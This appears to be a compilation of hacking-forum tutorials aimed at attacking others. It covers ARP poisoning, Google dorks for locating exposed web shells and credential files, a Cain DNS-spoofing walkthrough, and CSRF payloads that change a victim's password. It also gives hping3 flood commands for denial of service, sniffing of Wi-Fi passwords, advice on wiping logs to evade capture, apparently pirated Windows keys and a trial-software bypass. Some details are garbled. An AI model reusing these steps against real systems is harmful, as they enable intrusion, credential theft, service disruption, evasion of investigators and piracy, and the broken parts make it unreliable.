How to POISONING ARP on network?

How to do Address Resolution Protocol (ARP) poisoning?

What Does ARP Mean?

Address Resolution Protocol (ARP) is a stateless protocol, was designed to map Internet Protocol addresses (IP) to their associated Media Access Control (MAC) addresses. This being said, by mapping a 32 bit IP address to an associated 48 bit MAC address via attached Ethernet devices, a communication

between local nodes can be made.

On a majority of operating systems, such as Linux, FreeBSD, and other UNIX based operating systems, and even including Windows, the "arp" program is present. This program can be used to display and/or modify ARP cache entries.

An example of the "arp" utility's output would look like the following:

Windows:

> arp -a

Interface: 192.168.1.100 .- 0x10003

Internet Address Physical Address Type

192.168.1.1 00-13-10-23-9a-53 dynamic

Linux:

$ arp -na

? (192.168.1.1) at 00:90:B1C:F8:C0 [ether] on eth0

FreeBSD:

$ arp -na

? (192.168.1.1) at 00:00:0c:3e:4d:49 on bge0

How ARP works?

Specifically for Internet Protocol Version 4 (IPv4), ARP maps IP addresses between the Network layer and Data Link layer of the Open System Interconnection (OSI) model.

For a more complete and thorough explanation of how address resolution works, and protocol specifics, please consult RFC 826.

ARP Protocol Flaws :-

ARP's main flaw is in its cache. Knowing that it is possible for ARP to update existing entries as well as add to the cache, this leads one to believe that forged replies can be made, which result in ARP cache poisoning attacks.

Terms & Definitions :-

ARP Cache Poisoning : Broadcasting forged ARP replies on a local network. In a sense, "fooling" nodes on the network. This can be done because ARP lacks authentication features, thus blindly accepting any request and reply that is received or sent.

MAC Address Flooding : An ARP cache poisoning attack that is mainly used in switched environments. By flooding a switch with fake MAC addresses, a switch is overloaded. Because of this, it broadcasts all network traffic to every connected node. This outcome is referred to as "broadcast mode" because, all traffic passing through the switch is broadcasted out like a Hub would do. This then can result in sniffing all network traffic.

The ARP Attacks :-

1] Connection Hijacking & Interception : Packet or connection hijacking and interception is the act in which any connected client can be victimized into getting their connection manipulated in a way that it is possible to take complete control over.

2] Connection Resetting : The name explains itself very well. When we are resetting a client's connection, we are cutting their connection to the system. This can be easily done using specially crafted code to do so. Luckily, we have wonderful software that was made to aid us in doing so.

3] Man In The Middle : One of the more prominent ways of attacking another user in order to hijack their traffic, is by means of a Man In The Middle (MITM) attack. Unlike the other attacks, a MITM is more a packet manipulation attack which in the end however does result in packet redirection to the attacker . all traffic will get sent to the attacker doing the MITM attack. This attack however is specific. As opposed to MAC Address Flooding or other attacks against a router/switch, the MITM attack is against a victim, and also can be done outside of a switched environment. Thus meaning, an attack can be executed against a person on the other side of the country.

4] Packet Sniffing : Sniffing on a Local Area Network (LAN) is quite easy if the network is segmented via a hub, rather than a switch. It is of course possible to sniff on a switched environment by performing a MAC flood attack. As a result of the MAC flood, the switch will act as a hub, and allow the entire network to be sniffed. This gives you a chance to use any sort of sniffing software available to you to use against the network, and gather packets.

5] Denial of Service : MAC Address Flooding can be considered a Denial of service attack. The main idea of the MAC flood, is to generate enough packet data to send toward a switch, attempting to make it panic. This will cause the switch to drop into broadcast mode and broadcast all packet data. This however did not result in a crash, or the service to be dropped, but to be overloaded.

Some cool Google Dork

Symlink dork.

Code:

inurl:/sym/root/ & intext:"Parent Directory"

c99shell dork.

Code:

inurl:(shell.php | c99.php) Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self remove Logout

c99shell dork(2).

Code:

inurl:(shell.php | c99.php) intitle:c99shell Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self remove Logout

WordPress MySQL details.

Code:

inurl:(wp-config.conf | wp-config.txt) ext:(conf | txt | config)

Databases username && passwords.

Code:

inurl:/includes/ & ext:inc & inurl:connect | inurl:dbconnect & -site:phpkode.com

Phish The Phisher

Code:

filetype:txt & intext:"email=" & intext:"pass=" & intext:"charset_test="

phpmyadmin exploit

Code:

allinurl:index.php?db=information_schema

Here is list of other google dork. Download here.

How to do DNS SPOOF(tutorial)?

First What is the DNS ?(wikipedia.org)

The Domain Name System (DNS) is a hierarchical naming system for computers, services, or any resource connected to the internet or a private network. It associates various information with domain names assigned to each of the participants. For example, http://www.example.comtranslates to208.77.188.166.

What does poisoning the DNS allow us to do ?

It allows us to redirect the traffic to another website.
First This is the structure of the network :

1 , 2 and 3 are computers
1 is the computer being the gateway (could be a router) (172.128.254.1)
2 is the target computer (172.128.254.10)
3 is the attacker using cain
Note: IPs are just used for this tutorial and chosen randomly.
Our work is on computer number 3 :
1-After you install cain , open it and go to the sniffer tab
2-Click on configure and choose your adapter

3-Enable the sniffer (click on the second icon in the toolbar next to the open icon)
4-Right click in the empty area and choose scan MAC addresses. We get the results above.
5-Click on the APR Tab
 

6-Click on the + sign in the toolbar to add a new ARP poison routing

7-choose the gateway which is 172.128.254.1, in the next list you’ll get the IP of the computer 2 which is 172.128.254.10and click ok

8-now click on the APR-DNS tab

9-click on the + sign

10-enter the web address that you want to spoof , (in this case when the user goes to facebook he’ll be redirected to myspace) click on resolve type the web address that you want to redirect the user to it, and click ok, and you’ll get the IP of the web address, then click ok

 

you'll get something like this:

11-now to make this work we have to enable APR poisoning , click on the icon next to the sniffer icon, and everything should work as we expect.

Now the computer 2 will get the routes poisoned and when the user requests http://www.facebook.comhe will be redirected to http://www.myspace.com.
Imagine what you can do with this technique.

How to exploit CSRF vulnerability(CSRF tutorial)?

Today, I'm going to explain you about WEB vulnerability that not everyone knows...but it very popular.This vulnerability is very dangerous and effective.Usually, the vulnerability exploiting never leave evidences.This vulnerability called: Cross Site Request Forgery(CSRF).CSRF and the way to exploit it is extremely easy; Much easier then all the complicated injections.

How does it works?

It works by forcing the slave's browser to run HTTP requests in order to implement a range of actions, for example :

• Permission faking\stealing.
• Transfer of funds from the Bank
• Disruption of the normal sequence of the site

And much more.

Requirements to exploiting CSRF.

• Make sure that the slave have SESSION \ COOKIE on the target site.
• slave must be identified by the network protocol verification (HTTP Authentication)                                                                                                  

Actually, In order to cause the slave to perform unwanted actions he is not aware of, the slave must be logged to the target site with cookies and verified by the browser \ server.

Common uses CSRF attacks.

Common attack is using the image tag (img src) in the HTML document. I mean, in the SRC of the image tag must be inserted malicious link should send HTTP requests to the target, such as a GET request can be excellent. The benefits of using an image tag on the normal link tag (a href) are :

1. Image tag does not require clicking the link compared Tag-A requires clicking on the link to activate the HTTP request.
2. Nature of browsers is to send HTTP requests to visual objects such as picture or remote files (CSS, JS, etc.) even while loading the page without the user's permissions. This means the user does not need to perform any action in order to see the image on the page, all he has to do is go to a certain site specific browser sends HTTP requests have to load the image. In this case, since the browser recognizes the HTML code of the image tag, it sends HTTP requests to load the image even if the SRC of the image is not really a picture, but a malicious link ...

For those of you that uses Fire-Bug(Firefox add-on) can see in the next snapshot example of sending an HTTP request from the browser to the server to load an image during the login of the user:

Also, CSRF attacks can be implemented not only through websites but through email messages. Since the mail boxes allow sending data to HTML format, the attached image perfectly legal. In this case I can send a malicious email message to huge amount of recipients, put a photo tag email body when the SRC contain a malicious link, when the slave opens the email, the desired action done.

Exploiting code examples: 

HTML

Using img tag:

PHP Code:

<img style="display:none;" src="http://targetsite.com/change_password.php?new_password=123456">

Using iframe tag:

PHP Code:

<iframe src="http://targetsite.com/change_password.php?new_password=123456"></iframe>

Java Script

using image object.

PHP Code:

<script>

var poniz = new Image();

test.poniz = "http://targetsite.com/change_password.php?new_password=123456";

</script>

Exploiting sequence

Here a cool example that actually belong to Black-SEO.
What I want to check in my user control panel is the parameters are sent as a request to HTTP server when I'm updating my home page via the user control panel.
There are a variety of fields that can be updated, such as address, phone, email, name, content, and most importantly for this example: The favorite website\home page address.
These parameters are sent to the server when updating my website address. So it seems to Firebug: 

 
These parameters are sent to the server using POST method. So we do not see the parameters in the URL address. But, if the parameters will be written via GET method, the data will sent? Let's see.

Code:

http://targetsite.com?users.php?db[webaddress]=http://www.PonizSite.com&action=save

It works! (Actually...in the server-side code(php), the variable was in REQUEST method...but it's not matter)

Now ... Imagine that Dork like this one:

Quote:

site:targetsite.com & intext:"Homepage" & intext:"email: "

Now, I've got all the emails of users and I can send them an emails with img tag, and when they will open it, their home page\website addressfield in their profile will change(To http://www.ponizSite.com)

How to prevent?

There are not many hermetical familiar solutions to prevent CSRF attacks.
Except from one: Tokens.
What are actually tokens? This is a hidden random ID responsible for sending structured data, such as logging into forms, forms that allow registered users to update data or home page(in our case )

<input type="hidden" name="8pssf18ssdmf8s7p80fodi" value='1' id="token" />

Since the tokens are defined, the attacker can not know what is the token of the slave, because every loading of the page the token will change to other random number\string.

Tips :

• Don't forget to delete your cookies.
• Use tokens(Captcha is safer).
• When you built your php site, don't use GET \ REQUEST super-global variables.

Online Hacking tools

Here are some online hacking tools. If your internet connection is slow then you don`t want to download some security software for just information gathering & exploit searching. So you can use online website for this purpose, although big advantage is your i.p is not directly flashing to victim. If you use proxy then it`s more secure because website don`t have your i.p also.

http://www.novirusthanks.org/(Online File Scanner)
http://www.virustotal.com(Online File Scanner)
http://anubis.iseclab.org/(Online File Scanner)
http://www.ipvoid.com/(IP Address scanner)
http://www.threatlog.com/(HoneyPot Database)
http://www.idoproxy.com(proxy)
http://whois.domaintools.com/(Whois lookup)
http://www.robtex.com/(swiss army knife internet tool)
http://www.netirk.com/(Pinger)
http://www.ahbl.org/lktool(IP Lookup)
http://www.blocklist.de/
http://www.cirt.net/passwords(Default password list)
http://www.cirt.net/ports(Default Ports List)
http://www.urlvoid.com/extract-url/(URL Shortener extractor)
http://www.urlvoid.com/http-headers/(Show the HTTP headers of a link)
http://www.urlvoid.com/find-parasites/(Find Parasites)
http://www.urlvoid.com/url-dump/(URL Dump)
http://www.fail2ban.org/wiki/index.php/Main_Page( For your website)
http://www.nmap.org(port scanner)

Exploit Search:

http://exploitsearch.com/(google engine)
http://www.exploitsearch.net/(nvd,osvdb,metasploit,…)
http://shodan.surtri.com/(engine)
http://www.hack0wn.com/advisories.php
http://www.1337day.com/
http://www.exploit-db.com/
http://securityvulns.com/

http://www.zerodayinitiative.com/advisories/published/
http://seclists.org/fulldisclosure/
https://web.nvd.nist

https://web.nvd.nist.gov/view/vuln/search?cid=3
https://www.us-cert

https://www.us-cert.gov/cas/techalerts/
http://www.cvedetails.com/
http://routerpwn.com/

DOS attack from linux using hping3.

I am here to explain the DoS attacks (with practicals). You all know about DoS attack, Denial-of-Service Attacks. In this attack, attacker denies the user to use a particular service. You can have many tools for DoS attacks, but I'm gonna teach you a simple method for stress testing on the service.
We need Hping3 (It is available in linux only but you can use hping2 in windows but i can't assure you that it will work for this practical).Download Hping2/3 here .

Ok so let's bring down some services.

Open the console and go to the path of hping3 and give the following command.

hping3 --rand-source –S –L 0 –p <target port> <target IP>Here we are sending SYN packets (set value by replacing 0) with a random source.

hping3 --rand-source –SA –p <open port> <target IP>Here we are sending SYN + ACK packets from a random source.

hping3 --rand-source -–udp <target IP> --floodFlooding the target IP with UDP packets.

hping3 --rand-source –SAFRU –L 0 –M 0 –p <port> <target> --floodIn this command, we are sending SYN+ACK+FIN+RST+URG packets with TCP ack (-L) and TCP seq (-M). Change the values after -L and -M.

hping3 --icmp --spoof <target address> <broadcast address> --floodFlooding with ICMP packets by spoofed IP (--spoof).
Once you download the hping, open your console and type "hping3 --help" for more options.

How to Sniff HTTP POST Password via Network Using Wireshark Network Analyzer?

How to Sniff HTTP POST Password via Network Using Wireshark Network Analyzer?



Nowadays most website around the world more than 50% of them (in my opinion ) they didn't provide a secure access into a personal profile or some page that require authentication process where users input their username and password. As we know that data sent via port 80 (HTTP) was plain and without any encryption.
This tutorial can be an angel and also devil in the same time, it depends to you who use this tutorial for which purpose…me as a writer of this tutorial just hope that all of you can be an angel and know the bad things can happen from it, because I believe that no one from you want your password sniffed by someone out there so don't do that to others too .
Requirements :
1.Wireshark Network Analyzer (wireshark.org)
2. Network Card (Wi-Fi Card, LAN Card, etc) fyi : for wi-fi it should support promiscious mode .




1. Before we go to step by step section, here's the scenario : v4L is an attacker and he was sitting and drink starbucks coffee with laptop on his table and he's connected to free wi-fi service there. He run Wireshark for a couple moment and he analyze the data sent across the network and he try to find the password that inputted by victim.
   Step by Step :
   
   
   1. Download your wireshark and install it (in Windows you just need to click NEXT and FINISH to install it), in Backtrack 5 it's already there. Run the program (Windows : double click the icon; Backtrack : open terminal and type wireshark).
   from the picture above maybe your network card is different, just choose which one is your network card and click start..
   
   
   
   

   
   

   2. Victim with the same network with v4L was really love to open this two website.
   

   

   
   

   
   
   3. After victim open that two websites, wireshark on attacker computer catch some data cross the network.
   

   

   
   

   4. After some times then attacker stop capturing the packet on the network by click the button (see picture) to stop Wireshark Network Analyzer from capturing the packet.
   

   

   
   

   5. If you learn about web programming, you should know that data from FORM can be sent with two method POST or GET (for details about this POST and GET definitions you can google for it).
   The attacker know that authentication process should be use POST method for data transmission, then v4L use the filter feature in Wireshark to just only filter the HTTP POST method.
   

                                 http:.request.method == "POST"
                                 
          then press ENTER or click Apply.


6. If you only see the filter result, maybe you can be a little confused with the data contents over there. We can expand the data, but it's too many information that can make us hard to read one by one the data over there. For the simple thing we can use the ”Follow TCP Stream“ feature. Choose the data, right click and choose Follow TCP Stream.



                        
Here's the result after we make it more readable by human.



7.  oops the username and password was visible there. .

List of Useful Hacking Tools

Here i am listing some good hacking free software which is very useful to hack any system.Download from  HERE.

(1)NESSUS-Nessus is one of the most popular and capable vulnerability scanners, particularly for UNIX systems. It was initially free and open source, but they closed the source code in 2005 and removed the free "Registered Feed" version in 2008. It now costs $1,200 per year, which still beats many of its competitors. A free “Home Feed” is also available, though it is limited and only licensed for home network use.

Nessus is constantly updated, with more than 46,000 plugins. Key features include remote and local (authenticated) security checks, a client/server architecture with a web-based interface, and an embedded scripting language for writing your own plugins or understanding the existing ones. The open-source version of Nessus was forked by a group of users who still develop it under the OpenVAS name.

(2)METASPLOIT-Metasploit took the security world by storm when it was released in 2004. It is an advanced open-source platform for developing, testing, and using exploit code. The extensible model through which payloads, encoders, no-op generators, and exploits can be integrated has made it possible to use the Metasploit Framework as an outlet for cutting-edge exploitation research. It ships with hundreds of exploits, as you can see in their list of modules. This makes writing your own exploits easier, and it certainly beats scouring the darkest corners of the Internet for illicit shellcode of dubious quality.

Metasploit was completely free, but the project was acquired by Rapid7 in 2009 and it soon sprouted commercial variants. The Framework itself is still free and open source, but they now also offer a free-but-limited Community edition, a more advanced Express edition ($3,000 per year per user), and a full-featured Pro edition ($15,000 per user per year). Other paid exploitation tools to consider are Core Impact (more expensive) and Canvas (less).

The Metasploit Framework now includes an official Java-based GUI and also Raphael Mudge's excellent Armitage. The Community, Express, and Pro editions have web-based GUIs.

(3)AIR-CRACK -Aircrack is a suite of tools for 802.11a/b/g WEP and WPA cracking. It implements the best known cracking algorithms to recover wireless keys once enough encrypted packets have been gathered. . The suite comprises over a dozen discrete tools, including airodump (an 802.11 packet capture program), aireplay (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), and airdecap (decrypts WEP/WPA capture files).

(4)JOHN THE RIPPER-John the Ripper is a fast password cracker for UNIX/Linux and Mac OS X.. Its primary purpose is to detect weak Unix passwords, though it supports hashes for many other platforms as well. There is an official free version, a community-enhanced version (with many contributed patches but not as much quality assurance), and an inexpensive pro version.

(5)CAIN & ABEL- It`s password cracker tool for windows lke john the ripper (unix).UNIX users often smugly assert that the best free security tools support their platform first, and Windows ports are often an afterthought. They are usually right, but Cain & Abel is a glaring exception. This Windows-only password recovery tool handles an enormous variety of tasks. It can recover passwords by sniffing the network, cracking encrypted passwords using dictionary, brute-force and cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.

(6)NMAP-Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).

YOU CAN DOWNLOAD ALL THIS TOOL FROM BELOW LINK
http://sectools.org/

There are lots of tools,but download which are necessary for you. And use it carefully.

how to clear log & become anonimous ?

Guyzz this is nt my tut but i wud like to share it coz its very important frall of us!!
Okay, let's begin!
1) How hackers get caught.

- First stuff that gives you away are "LOGS".
You need to know how events, application, and system logs work. If you dont, you can be easily caught!
The shell history will expose your actions.
Another giveaway is leaving a “:wq” in /var/log/messages or binarys.

- Your laziness will take you into problems.NEVER HACK FROM HOME! Take your time, and go to net cafe or anywhere else apart from home. Logs will take you down!

- The code that you run on system will take you down. If you compile the code on target, libraries will give you away!

- If your victm, notice, that he is maybe hacked, or something is wrong.. He will ask from his ISP for IP logs, and if you dont use VPN, or if you hack from home, they will hunt you down.

- Thing, that takes you down 100% is BRAGGING. It is common problem of beginning hackers. They like to brag, to earn respect and reputation but NOT KNOWING that is the matter of minutes, hours mby days when they will be caught.

2) Hiding and Securing you as "Hacker"
- Temporary guest accounts, unrestricted proxy servers, buggy Wingate servers, and anonymous accounts can keep hackers carefree.

*A young hacker is less likely to know all the little things that an expert hacker might know. Besides, the young hacker may be trying to impress others - and get a little careless about covering his tracks. This is why younger hackers are often caught.
*An older hacker, on the other hand, will rarely leave any tracks. They know how to use their slave's computers as a tool for a launching place to get into another computer.

There will always be hackers, and there will always be hackers in prison.* DESTROY LOGS, REMOVE ALL YOUR TRACKS!
* DO NOT HACK AT HOME! USE VPN THAT SAVES NO LOGS!

HOW TO REMOVE YOUR SYSTEM LOGS:

Choose Start > Control Panel.
Double-click Administrative Tools, and then double-click Event Viewer.
In either pane of the Event Viewer window, right-click System and then select Clear All Events.
To save the current system log, click Yes when Windows returns the message, "Do you want to save 'System' before clearing it?", enter a file name for the saved system log file, and then click Save.


Virtual Private Network - VPN

I will recommend you to use proXPN.
It is VPN that do not store logs.
proXPN: http://proxpn.com/download.php

Once you connect, the system tray icon will turn green. You're now surfing safe and secure, courtesy of proXPN.

And you are done with securing yourself.
Just to make sure, go check if you are truly anonimous
http://www.ip-adress.com/Proxy_Checker/

Windows-7 genuine key

22TKD-F8XX6-YG69F-9M66D-PMJBM
TWMF7-M387V-XKW4Y-PVQQD-RK7C8
HTJK6-DXX8T-TVCR6-KDG67-97J8Q
D4F6K-QK3RD-TMVMJ-BBMRX-3MBMV

1.Insert Windows 7 disc

2. then open the disc and open source folder, and then open product.ini or search for product.ini in the disc.

3.you can now use these keys seen in the notepad.

Hack Software and Run the Trial Program Forever

In this post I’ll show you how to hack a Software and run the trial program forever. Most of us are familiar with many softwares that run only for a specified period of time in the trial mode. Once the trial period is expired these softwares stop functioning and demand for a purchase. But there is a way to run the softwares and make them function beyond the trial period. Isn’t this interesting?

Before I tell you how to hack the software and make it run in the trial mode forever, we have to understand the functioning of these softwares. I’ll try to explain this in brief.

When these softwares are installed for the first time, they make an entry into the windows registrywith the details such as Installed Date and Time, installed path etc. After installation every time you run the software, it compares the current system date and time with the installed date and time. So, with this it can make out whether the trial period is expired or not.

So with this being the case, just manually changing the system date to an earlier date will not solve the problem. For this purpose there is a small Tool known as RunAsDate.

RunAsDate is a small utility that allows you to run a program in the date and time that you specify. This utility doesn’t change the current system date, but it only injects the date/time that you specify into the desired application.

RunAsDate intercepts the kernel API calls that returns the current date and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the current date/time with the date/time that you specify. It works with Windows 2000, XP, 2003 and Vista.

NOTE: FOLLOW THESE TIPS CAREFULLY

You have to follow these tips carefully to successfully hack a software and make it run in it’s trial mode forever.

1. Note down the date and time, when you install the software for the first time.

2. Once the trial period expires, you must always run the software using RunAsDate.

3. After the trial period is expired, do not run the software(program) directly. If you run the software directly even once, this hack may no longer work.

4. It is better and safe to inject the date of the last day in the trial period.

For example, if the trial period expires on jan 30 2009, always inject the date as jan 29 2009 in the RunAsDate. I hope this helps!